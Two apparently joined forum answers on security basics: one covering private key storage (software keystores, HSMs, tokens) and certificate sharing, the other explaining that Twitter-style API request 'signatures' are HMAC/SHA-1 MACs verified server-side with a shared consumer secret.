WARNING:  I'm glossing over a lot of detail here.  Figuring out "how secure" authentication and authorization controls should be and how they should be administrated is a full time job.  In fact, it's a whole industry.  What I'm throwing up here is the grass roots concepts for a bare bones effort.  If you told me that you were putting together something that was going to protect millions or billions of dollars of corporate investments, or human life, or the state of the world as we know it - I would tell you to contact me offline and I have a nice team of smart people handy who can take this problem off your hands... for a fee.  The whole area becomes a chicken and egg scenario pretty fast, as every communication and procedure around checking this stuff needs to be handled with care, since any system is only as strong as its weakest link.  What I'm throwing in here assumes that you don't have anything huge, you're mostly working on a newish system that needs just a bit of protection - the equivalent of throwing up a nice gate around your house.  Not a gate, guard dogs, security cameras, and a big guy with a spiked club. :)
Now... key storage
Key storage has two main elements:

How safe does it have to be from attack?
How does it need to be accessed?

"Safe" is often rated in FIPS compliance levels - it's a way of testing key storage mechanisms and that they meet certain sets of escalating security requirements.  The low end is software storage - the key uses one of several commercially supported storage mechanisms and it sits on your hard drive (Price = free or the price of a tiny bit of memory on your hard drive).  The high end is a big, expensive box (an HSM - hardware security module) that will hold your key in such a way that no one can get the key out of the box... ever... and when they try, if they try too hard, the box will zerioze itself, erasing the key.  There's levels in between.
How much safety you want to pay for is entirely a risk/cost decision.  You have to calculate what you have to loose vs. what you want to pay.
"How to access" has a couple of elements:

Software keys are easy to access on the box - there's a couple of commercially supported ways of storing them and most servers support most storage mechanisms.  PKCS12, and JKS are two examples.
Hardware keys are typically accessed by the PKCS 11 protocol (but there are others), most high end servers have this built in, but sometimes you need extensions to handle this or APIs for custom built code.  Also, you have a chicken/egg problem - you usually need a password to get access to your HSM - where and how you store that password is another area of security.
for clients, you also have the mobility problem.  If "client" is a fixed point - you have the same HW/SW options as for servers, but if "client" means a human, then you also need to think about user mobility and compatibility with any GUI mechanism (for example, a browser).  It still boils down to HW/SW, but often the HW element is called a "token", because remove-ability becomes a key feature.

In all cases, you can store your certificates just about anywhere - they are public information that can be distributed far and wide.  The critical element is your private key - which must be stored in a place that only the entity using it can get to.
Who can use a single certificate
It depends on how you are storing your keys and what risk you are willing to accept.  A key on a network accessible HSM could technically be used by a bank of servers, which would let all servers look like one server (pretty cool for a web app).  But if you need to have proof of exactly which client or server did a specific action, then you must have 1 certificate per entity.  Also, you can only revoke a certificate - so you want a level of separation that if you believe a key store had been compromised, you could disable just one thing.
Generally, it's a checkpoint if you find yourself putting the private key in multiple places - that's a serious risk and a good indicator that you want to get another certificate.  From there, the level of separation is, IMO, mostly a matter of what level you want to track and any other needs you have for controlling access.


How signature validation would be checked on server side? Sorry, It may be possible  that few things are repeated in my question.

I have gone through some documentation/discussion signing an API request and twitter signature documentation

As per the discussion here signing an API request With a signed request the password is kept safe and an attacker cannot use the information in the query to sign another request.

But for signature generation uses SHA-1 non reverting hash function.

My Question is:-
If signature used to authorizes /authenticate client request, how that signature used on server side to check and validate the user request?

First off, the use of the term signature here is improper. I know that they are using it in the Twitter documentation, but that's not the correct name. "Signature" normally refers to digital signatures which are part of asymmetric cryptography; i.e. RSA, DSA... Here, we have a MAC.

It is not "SHA-1" which is used, but "HMAC/SHA-1". HMAC is a MAC algorithm which is built around an underlying hash function (here SHA-1) as a building block, but there is more to HMAC than simply a hash function. HMAC is a MAC, which means that it uses a secret key which the Twitter documentation calls the "consumer secret" (yet again, that documentation uses the term "key" to designate something different, which is a great source of confusion). This secret key is involved in the computation; it is needed to produce the HMAC output but also to verify it. This secret key is known to both the client and the server, but to none other (it is "secret"). HMAC is so that each HMAC output is specific to a given input message, and it is not feasible to forge a valid HMAC output for a new message without knowing the secret key, even if many other pairs message+HMAC output are observed.

To sum up, the server can verify the "signature" from the client by using the "consumer secret" which is known to both client and server. When the server sees a valid HMAC output, it knows that the message comes from someone who knows the "consumer secret", which can only be the client, or the server itself. The server knows that it never produces messages with that exact format, so it must come from the client -- the specific client who knows that specific "consumer secret". The client is thus authenticated.